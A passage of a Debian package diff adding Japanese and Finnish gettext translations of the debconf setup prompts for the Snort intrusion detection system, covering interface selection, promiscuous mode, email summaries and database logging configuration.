+msgstr "古い設定ファイルがこのシステムでは使われています。"
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+#, fuzzy
+#| msgid ""
+#| "Your Snort configuration file (/etc/snort/snort.conf) uses deprecated "
+#| "options no longer available for this Snort release.  Snort will not be "
+#| "able to start unless you provide a correct configuration file. You can "
+#| "substitute your configuration file with the one provided in this package "
+#| "or fix it manually by removing deprecated options."
+msgid ""
+"The Snort configuration file (/etc/snort/snort.conf) uses deprecated options "
+"no longer available for this Snort release. Snort will not be able to start "
+"unless you provide a correct configuration file. Either allow the "
+"configuration file to be replaced with the one provided in this package or "
+"fix it manually by removing deprecated options."
+msgstr ""
+"Snort の設定ファイル (/etc/snort/snort.conf) にて、今回のリリースから使えなく"
+"なった無効なオプションを指定しています。設定ファイルを修正しない限り起動でき"
+"なくなります。設定ファイルをこのパッケージが提供しているものに置換するか、無"
+"効なオプションを手動で削除するかして回避できます。"
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+#, fuzzy
+#| msgid ""
+#| "The following deprecated options were found in your configuration file: "
+#| "${DEP_CONFIG}"
+msgid ""
+"The following deprecated options were found in the configuration file: "
+"${DEP_CONFIG}"
+msgstr "設定ファイルで以下の無効なオプションが見つかりました: ${DEP_CONFIG}"
+
+#~ msgid "You are running Snort manually"
+#~ msgstr "手動で Snort を動作させています"
+
+#~ msgid "There is an error in your configuration"
+#~ msgstr "設定にエラーがあります"
+
+#~ msgid "Your configuration file is deprecated"
+#~ msgstr "無効な設定ファイルです"
+
+#~ msgid "boot, dialup, manual"
+#~ msgstr "起動時, ダイヤルアップ時, 手動"
+
+#~ msgid "When should Snort be started?"
+#~ msgstr "いつ Snort を起動しますか?"
+
+#~ msgid ""
+#~ "If you want you can specify 'any', to not trust any side of the network."
+#~ msgstr ""
+#~ "ローカルネットワーク・公開ネットワークのどちらのネットワークも信頼していな"
+#~ "い場合、 'any' と指定してください。"
+
+#~ msgid ""
+#~ "One of the interfaces you specified is not valid (it might not exist on "
+#~ "the system or be down). Please introduce a valid interface when answering "
+#~ "the question of which interface(s) should Snort listen on."
+#~ msgstr ""
+#~ "指定されたインターフェイスが正しくありません (システムに存在していないかダ"
+#~ "ウンしています)。Snort がどのインターフェイスをする必要があるかという質問"
+#~ "に答える際は正しい値を入れてください。"
+
+#~ msgid ""
+#~ "If you did not configure an interface then the package is trying to use "
+#~ "the default ('eth0') which does not seem to be valid in your system."
+#~ msgstr ""
+#~ "インターフェイスを設定していなかった場合、パッケージはデフォルト ('eth0') "
+#~ "をシステムでの正しいインターフェイスとして利用します。"
+
+#~ msgid ""
+#~ "If you change Snort's rules testing order to Pass|Alert|Log, they will be "
+#~ "applied in Pass->Alert->Log order, instead of standard Alert->Pass->Log. "
+#~ "This will prevent people from having to make huge Berky Packet Filter "
+#~ "command line arguments to filter their alert rules."
+#~ msgstr ""
+#~ "Snort のルールセットのテスト順を Pass|Alert|Log に変更した場合、ルールセッ"
+#~ "トは 通常の Alert->Pass->Log ではなく Pass->Alert->Log の順番で適用されま"
+#~ "す。こうすることで alert ルールのフィルタするために長大な Berky Packet "
+#~ "Filter コマンドラインを指定しなくともよくなります。"
+
+#~ msgid ""
+#~ "This Snort installation provides a cron job that runs daily and "
+#~ "summarises the information of Snort logs to a selected email address. If "
+#~ "you want to disable this feature say 'no' here."
+#~ msgstr ""
+#~ "今回の Snort のインストールでは、毎日動いて Snort のログ情報を要約して設定"
+#~ "したアドレスに送る cron ジョブを設定します。この機能を無効にしたい場合はこ"
+#~ "こで「いいえ」と答えてください。"
+
+#~ msgid ""
+#~ "A cron job running daily will summarise the information of the logs "
+#~ "generated by Snort using a script called 'snort-stat'. Introduce here the "
+#~ "recipient of these mails. The default value is the system administrator. "
+#~ "If you keep this value, make sure that the mail of the administrator is "
+#~ "redirected to a user that actually reads those mails."
+#~ msgstr ""
+#~ "毎日実行される cronjob は 'snort-stat' と呼ばれるスクリプトを使い、Snort "
+#~ "によって生成されるログの情報を要約します。ここで、これらのメールを受け取り"
+#~ "人を指定してください。標準の値はシステム管理者です。この値のままにしておき"
+#~ "たい場合は、管理者のメールがこれらのメールを読むユーザに実際に転送されてい"
+#~ "るのを確認してください。"
+
+#~ msgid ""
+#~ "If you want to specify custom options to Snort, please specify them here."
+#~ msgstr ""
+#~ "Snort にカスタムオプションを指定したい場合、ここで入力してください。"
+
+#~ msgid ""
+#~ "Please restart Snort using:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "to let the settings take effect."
+#~ msgstr ""
+#~ "設定変更を反映するために\n"
+#~ " /etc/init.d/snort restart\n"
+#~ " として Snort を再起動してください。"
+
+#~ msgid ""
+#~ "Your Snort configuration is not correct and Snort will not be able to "
+#~ "start up normally. Please review your configuration and fix it. If you do "
+#~ "not do this, Snort package upgrades will probably break. To check which "
+#~ "error is being generated run '/usr/sbin/snort -T -c /etc/snort/snort."
+#~ "conf' (or point to an alternate configuration file if you are using "
+#~ "different files for different interfaces)"
+#~ msgstr ""
+#~ "Snort の設定が正しくないので、そのままだと Snort が起動できなくなります。"
+#~ "設定を見直して修正してください。行わない場合は Snort パッケージのアップグ"
+#~ "レードができなくなるでしょう。どこでエラーが起こっているのかをチェックする"
+#~ "には '/usr/sbin/snort -T -c /etc/snort/snort.conf' を実行してください (異"
+#~ "なったインターフェイスごとに別のファイルを使っているという場合は、他の設定"
+#~ "ファイルを指定してください)。"
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-mysql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "mysql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-mysql "
+#~ "package with 'dpkg-reconfigure -plow snort-mysql'"
+#~ msgstr ""
+#~ "初めて snort-mysql をインストールした時のみ、この設定を行う必要がありま"
+#~ "す。続行の前に、(1) このホストからの TCP 接続が許可されている mysql サーバ"
+#~ "のホスト名、(2) そのサーバでのデータベース名、(3) データベースにアクセスす"
+#~ "るためのユーザ名とパスワード を確認してください。これらが「すべて」そろっ"
+#~ "ていない場合、 'no' を選択して通常のファイルへのログ記録を行うか、まず条件"
+#~ "を確認してください。のちほど 'dpkg-reconfigure -plow snort-mysql' として "
+#~ "snort-mysql パッケージを再設定して、データベースでのログ記録設定の変更がい"
+#~ "つでも可能です。"
+
+#~ msgid "Make sure this user has been created and has write access."
+#~ msgstr ""
+#~ "ユーザが既に作られており、書き込み権限をもっていることを確認してください。"
+
+#~ msgid "Snort needs a configured database to log to before it starts"
+#~ msgstr "Snort を起動する前に、ログを記録するデータベースの設定が必要です。"
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-pgsql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "pgsql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-pgsql "
+#~ "package with 'dpkg-reconfigure -plow snort-pgsql'"
+#~ msgstr ""
+#~ "初めて snort-pgsql をインストールした時のみ、この設定を行う必要がありま"
+#~ "す。続行の前に、(1) このホストからの TCP 接続が許可されている pgsql サーバ"
+#~ "のホスト名、(2) そのサーバでのデータベース名、(3) データベースにアクセスす"
+#~ "るためのユーザ名とパスワード を確認してください。これらが「すべて」そろっ"
+#~ "ていない場合、 'no' を選択して通常のログ記録を行うか、まず条件を確認してく"
+#~ "ださい。のちほど 'dpkg-reconfigure -plow snort-pgsql' と実行し snort-"
+#~ "mysql パッケージを再設定して、データベースでのログ記録設定の変更がいつでも"
+#~ "可能です。"
+
+#~ msgid ""
+#~ "Snort needs a configured database before it can successfully start up. In "
+#~ "order to create the structure you need to run the following commands "
+#~ "AFTER the package is installed:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>\n"
+#~ "Fill in the correct values for the user, host, and database names. "
+#~ "PostgreSQL will prompt you for the password."
+#~ msgstr ""
+#~ "Snort が正しく動作する前にはデータベースの設定が必要です。データベースを作"
+#~ "成するには、パッケージインストール「後」に以下のコマンドを入力する必要があ"
+#~ "ります: \n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>\n"
+#~ " ユーザ名、ホスト名、データベース名は適当なものを当てはめて入力してくださ"
+#~ "い。 PostgreSQL がパスワードを要求するはずです。"
+
+#~ msgid ""
+#~ "Please enter the name(s) of the interface(s) which Snort should listen "
+#~ "on.  The names of the available interfaces are provided by either "
+#~ "running  'ip link show' of 'ifconfig'. This value usually is 'eth0', but "
+#~ "you might want to vary this depending on your environment, if you are "
+#~ "using a dialup connection 'ppp0' might be more appropiate."
+#~ msgstr ""
+#~ "Snort が listen すべきインターフェイス名を入力してください。指定可能なイン"
+#~ "ターフェイスは 'ifconfig' を実行する、あるいは 'ip link show' を実行するこ"
+#~ "とで確認できます。この値は大抵の場合 'eth0' ですが、これは環境にとても依存"
+#~ "するので、ダイヤルアップ接続を利用している場合は 'ppp0' のほうがより適切か"
+#~ "もしれません 。"
+
+#~ msgid ""
+#~ "Disable promiscuous mode if you are configuring Snort on an interface "
+#~ "without a configured IP address."
+#~ msgstr ""
+#~ "IP アドレスの設定がされていないインターフェイス上で Snort を設定する場合"
+#~ "は promiscuous モードを無効にしてください。"
+
+#~ msgid ""
+#~ "Your system has an obsolete configuration file  (/etc/snort/snort.common."
+#~ "parameters) which has been automatically converted into the new "
+#~ "configuration file format (at /etc/default/snort). Please review the new "
+#~ "configuration and remove the obsolete one. Until you do this, the init.d "
+#~ "script will not use the new configuration and you will not take advantage "
+#~ "of the benefits introduced in newer releases."
+#~ msgstr ""
+#~ "システムに既に利用できない設定ファイル (/etc/snort/snort.common."
+#~ "parameters) があります。これは自動的に新しい設定ファイル形式 (/etc/"
+#~ "default/snort にあります) に変換されています。新しい設定を確認して、古い設"
+#~ "定を削除してください。削除されるまで、init.d スクリプトは新しい設定を使お"
+#~ "うとはしないので、新しいリリースの恩恵を享受することはできません。"
+
+#~ msgid "On which interface should Snort listen?"
+#~ msgstr "Snort はどのインターフェイスで listen しますか?"
+
+#~ msgid ""
+#~ "Notice that Snort is usually configured to inspect all traffic coming "
+#~ "from the Internet, so the interface you add here is usually the same the "
+#~ "'default route' is on.  You can determine which interface is used for "
+#~ "this running either 'ip route show' or '/sbin/route -n' (look for "
+#~ "'default' or '0.0.0.0')."
+#~ msgstr ""
+#~ "通常、Snort はインターネットからやって来るすべてのトラフィックを受け取るよ"
+#~ "うに設定されるので、ここで追加したインターフェイスは大抵 'default route' "
+#~ "が存在するものと同じということに注意してください。'ip route show' または "
+#~ "'/sbin/route -n' を実行し ('default' または '0.0.0.0' を探して)、どのイン"
+#~ "ターフェイスを使うかを決めることができます。"
+
+#~ msgid "Should Snort disable promiscous mode on the interface?"
+#~ msgstr "このインターフェイスで promiscous モードを無効にしますか?"
--- snort-2.7.0.orig/debian/po/fi.po
+++ snort-2.7.0/debian/po/fi.po
@@ -0,0 +1,598 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: snort\n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-05-01 21:28+0200\n"
+"PO-Revision-Date: 2008-04-28 07:39+0200\n"
+"Last-Translator: Esko Arajärvi <edu@iki.fi>\n"
+"Language-Team: debian-l10n-finnish@lists.debian.org <Finnish>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: FINLAND\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "boot"
+msgstr "käynnistettäessä järjestelmä"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr "soitettaessa"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr "manuaalinen"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr "Snortin käynnistystapa:"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid ""
+"Snort can be started during boot, when connecting to the net with pppd or "
+"only manually with the /usr/sbin/snort command."
+msgstr ""
+"Snort voidaan käynnistää järjestelmän käynnistyksen yhteydessä, otettaessa "
+"verkkoyhteys pppd:llä tai manuaalisesti komennolla /usr/bin/snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "Interface(s) which Snort should listen on:"
+msgstr "Verkkoliitännät, joita Snortin tulisi kuunnella:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"This value is usually 'eth0', but this may be inappropriate in some network "
+"environments; for a dialup connection 'ppp0' might be more appropiate (see "
+"the output of '/sbin/ifconfig')."
+msgstr ""
+"Tämä arvo on useimmiten ”eth0”, mutta verkkoympäristöstä riippuen se saattaa "
+"olla muukin. Käytettäessä soittosarjayhteyttä ”ppp0” saattaa olla sopivampi. "
+"(Katso komennon /sbin/ifconfig tulostetta.)"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"Typically, this is the same interface as the 'default route' is on. You can "
+"determine which interface is used for this by running '/sbin/route -n' (look "
+"for '0.0.0.0')."
+msgstr ""
+"Tyypillisesti oletusreitti kulkee tämän liitännän kautta. Oletusreitin saa "
+"selville komennolla ”/sbin/route -n” (etsi kohta ”0.0.0.0”)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"It is also not uncommon to use an interface with no IP address configured in "
+"promiscuous mode. For such cases, select the interface in this system that "
+"is physically connected to the network that should be inspected, enable "
+"promiscuous mode later on and make sure that the network traffic is sent to "
+"this interface (either connected to a 'port mirroring/spanning' port in a "
+"switch, to a hub or to a tap)."
+msgstr ""
+"Usein käytetään myös liitäntää, jolla ei ole IP-osoitetta ja joka on "
+"asetettu tilaan, jossa kaikki nähdyt paketit otetaan vastaan (”promiscuous "
+"mode”). Valitse tällaisissa tapauksissa järjestelmän liitäntä, joka on "
+"fyysisesti kiinni tutkittavassa verkossa, valitse vastaanottotila myöhemmin "
+"ja varmista, että verkkoliikenne lähetetään tähän liitäntään (yhdistä se "
+"portit peilaavaan kytkimen liitäntään, keskittimeen tai muuhun monistimeen)."
+"\""
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"You can configure multiple interfaces, just by adding more than one "
+"interface name separated by spaces. Each interface can have its own specific "
+"configuration."
+msgstr ""
+"Useampia liitäntöjä voidaan asettaa antamalla liitäntöjen nimet välilyönnein "
+"eroteltuina. Jokaiselle liitännälle voidaan tehdä omat asetukset."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid "Address range for the local network:"
+msgstr "Paikallisen verkon osoitealue:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 "
+"addresses or 192.168.1.42/32 for just one. Multiple values should be comma-"
+"separated (without spaces)."
+msgstr ""
+"Käytä CIDR-muotoa, esimerkiksi 192.168.1.0/24 256 IP-osoitteen "
+"määrittämiseksi tai 192.168.1.42/32 yhden määrittämiseksi. Useampi alue "
+"voidaan syöttää pilkuin eroteltuina (ilman välilyöntejä)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please note that if Snort is configured to use multiple interfaces, it will "
+"use this value as the HOME_NET definition for all of them."
+msgstr ""
+"Jos Snort on asetettu käyttämään useampia liitäntöjä, se käyttää tätä arvoa "
+"niiden kaikkien HOME_NET-määritteenä."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr ""
+"Tulisiko Snortin asettaa liitäntä ottamaan vastaan vain sille tarkoitetut "
+"paketit?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid ""
+"Disabling promiscuous mode means that Snort will only see packets addressed "
+"to the interface it is monitoring. Enabling it allows Snort to check every "
+"packet that passes the Ethernet segment even if it's a connection between "
+"two other computers."
+msgstr ""
+"”Promiscuous mode”-tilan poistaminen käytöstä tarkoittaa, että Snort näkee "
+"vain paketit, jotka on lähetetty sen seuraamaan liitäntään. Tilan "
+"käyttäminen sallii Snortin tarkistaa kaikki verkkolohkon paketit, vaikka ne "
+"lähetettäisiinkin kahden muun koneen välillä."
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr "Virheellinen liitäntä"
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid ""
+"Snort is trying to use an interface which does not exist or is down. Either "
+"it is defaulting inappropriately to 'eth0', or you specified one which is "
+"invalid."
+msgstr ""
+"Snort yrittää käyttää liitäntää, jota ei ole olemassa tai joka ei ole "
+"toiminnassa. Joko se yrittää virheellisesti kuunnella oletusliitäntää ”eth0” "
+"tai asettamasi liitäntä on virheellinen."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr ""
+"Tulisiko Snortin sääntöjen testausjärjestykseksi vaihtaa Pass|Alert|Log?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid ""
+"Snort's default testing order is Alert|Pass|Log; if you accept this option, "
+"the order will be changed to Pass|Alert|Log, which can make it simpler to "
+"use Snort with some packet-filtering tools."
+msgstr ""
+"Oletuksena Snortin sääntöjen testausjärjestys on Alert|Pass|log. Jos "
+"valitset tämän vaihtoehdon, järjestykseksi vaihdetaan Pass|Alert|Log, mikä "
+"saattaa helpottaa Snortin käyttöä joidenkin pakettiensuodatustyökalujen "
+"kanssa."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr "Tulisiko päivittäiset yhteenvedot lähettää sähköpostilla?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid ""
+"A cron job can be set up to send daily summaries of Snort logs to a selected "
+"e-mail address."
+msgstr ""
+"Päivittäiset Snortin lokien yhteenvedot voidaan lähettää annettuun "
+"sähköpostiosoitteeseen cron-työn avulla."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr "Valitse otetaanko tämä ominaisuus käyttöön."
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid "Recipient of daily statistics mails:"
+msgstr "Päivittäisten tilastosähköpostien vastaanottaja:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid ""
+"Please specify the e-mail address that should receive daily summaries of "
+"Snort logs."
+msgstr ""
+"Anna sähköpostiosoite, johon päivittäiset Snortin lokien yhteenvedot tulisi "
+"lähettää."
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr "Mukauttavat lisäasetukset:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr "Anna mahdolliset lisäasetukset, joita Snortin tulisi käyttää."
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Minimum occurrences before alerts are reported:"
+msgstr "Varoituksen esiintymiskertojen vähimmäismäärä:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid ""
+"Please enter the minimum number of alert occurrences before a given alert is "
+"included in the daily statistics."
+msgstr ""
+"Anna vähimmäismäärä montako kertaa varoituksen tulee esiintyä ennen kuin se "
+"sisällytetään päivittäisiin tilastoihin."
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "Snort restart required"
+msgstr "Snort tulee käynnistää uudelleen"
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid ""
+"As Snort is manually launched, you need to run '/etc/init.d/snort' for the "
+"changes to take place."
+msgstr ""
+"Koska Snort on käynnistetty käsin, tulee komento ”/etc/init.d/snort” ajaa "
+"muutosten ottamiseksi käyttöön."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "Configuration error"
+msgstr "Asetusvirhe"
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"The current Snort configuration is invalid and will prevent Snort starting "
+"up normally. Please review and correct it."
+msgstr ""
+"Snortin nykyiset asetukset ovat virheelliset ja estävät Snortin normaalin "
+"käynnistyksen. Tarkista ja korjaa ne."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -"
+"c <file>'."
+msgstr ""
+"Snortin asetustiedoston virheitä voidaan etsiä komennolla ”/usr/sbin/snort -"
+"T -c <tiedosto>”."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid "Obsolete configuration file"
+msgstr "Vanhentunut asetustiedosto"
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"This system uses an obsolete configuration file (/etc/snort/snort.common."
+"parameters) which has been automatically converted into the new "
+"configuration file format (at /etc/default/snort)."
+msgstr ""
+"Järjestelmä käyttää vanhentunutta asetustiedostoa (/etc/snort/snort.common."
+"parameters), joka on automaattisesti muunnettu asetustiedoston uuteen "
+"muotoon (sijaintiin /etc/default/snort)."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"Please review the new configuration and remove the obsolete one. Until you "
+"do this, the initialization script will not use the new configuration and "
+"you will not take advantage of the benefits introduced in newer releases."
+msgstr ""
+"Tarkista uudet asetukset ja poista vanha tiedosto. Ennen kuin tämä tehdään, "
+"alustuskomentosarja ei käytä uusia asetuksia, eikä tällöin saada käyttöön "
+"uudempien julkaisuiden parannuksia."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid "Set up a database for snort-mysql to log to?"
+msgstr "Alustetaanko tietokanta snort-mysql:n lokeja varten?"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"No database has been set up for Snort to log to. Before continuing, you "
+"should make sure you have:"
+msgstr ""
+"Snortille ei ole asetettu tietokantaa, johon se voisi kirjoittaa lokia. "
+"Ennen kuin jatkat, varmista, että tiedät:"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+" - palvelimen verkkonimen (palvelimen pitää sallia TCP-yhteydet\n"
+"   tältä koneelta)\n"
+" - tietokannan kyseisellä palvelimella\n"
+" - käyttäjätunnuksen ja salasanan tietokantaan"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"If some of these requirements are missing, reject this option and run with "
+"regular file logging support."
+msgstr ""
+"Jos jokin näistä vaatimuksista ei täyty, älä valitse tätä vaihtoehtoa vaan "
+"käytä lokien kirjoittamista tavallisiin tiedostoihin."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-mysql'."
+msgstr ""
+"Lokien tietokantaan kirjoittaminen voidaan asettaa myöhemmin ajamalla "
+"komento ”dpkg-reconfigure -plow snort-mysql”."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr "Tietokantapalvelimen verkkonimi:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid ""
+"Please specify the host name of a database server that allows incoming "
+"connections from this host."
+msgstr ""
+"Anna sellaisen tietokantapalvelimen verkkonimi, joka sallii yhteydet tältä "
+"koneelta."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid "Database name:"
+msgstr "Tietokannan nimi:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid ""
+"Please specify the name of an existing database to which the database user "
+"has write access."
+msgstr ""
+"Anna olemassa olevan tietokannan nimi, johon tietokantakäyttäjällä on "
+"kirjoitusoikeudet."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr "Tietokantayhteydessä käytettävä käyttäjätunnus:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid ""
+"Please specify a database server username with write access to the database."
+msgstr ""
+"Anna tietokantapalvelimen käyttäjätunnus, jolla on kirjoitusoikeudet "
+"tietokantaan."
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid "Password for the database connection:"
+msgstr "Tietokantayhteyden salasana:"
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid ""
+"Please enter the password to use to connect to the Snort Alert database."
+msgstr ""
+"Anna salasana, jota käytetään otettaessa yhteys Snortin varoitustietokantaan."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr "Snortin tietokannan asetusten teko pakollista"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"Snort needs a configured database before it can successfully start up. In "
+"order to create the structure you need to run the following commands AFTER "
+"the package is installed:"
+msgstr ""
+"Snort tarvitsee asetetun tietokannan ennen kuin se voidaan käynnistää "
+"onnistuneesti. Tietokantarakenteen luomiseksi seuraavat komennot tulee ajaa "
+"sen jälkeen, kun tämä paketti on asennettu:"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <tunnus> -h <kone> -p <tietokanta>"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. MySQL "
+"will prompt you for the password."
+msgstr ""
+"Täytä oikeat arvot kohtiin tunnus, kone ja tietokanta. MySQL pyytää tämän "
+"jälkeen salasanan."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"After you have created the database structure, you will need to start Snort "
+"manually."
+msgstr "Kun tietokannan rakenne on luotu, Snort täytyy käynnistää käsin."
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr "Alustetaanko tietokanta snort-pgsql:n lokeja varten?"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+msgstr ""
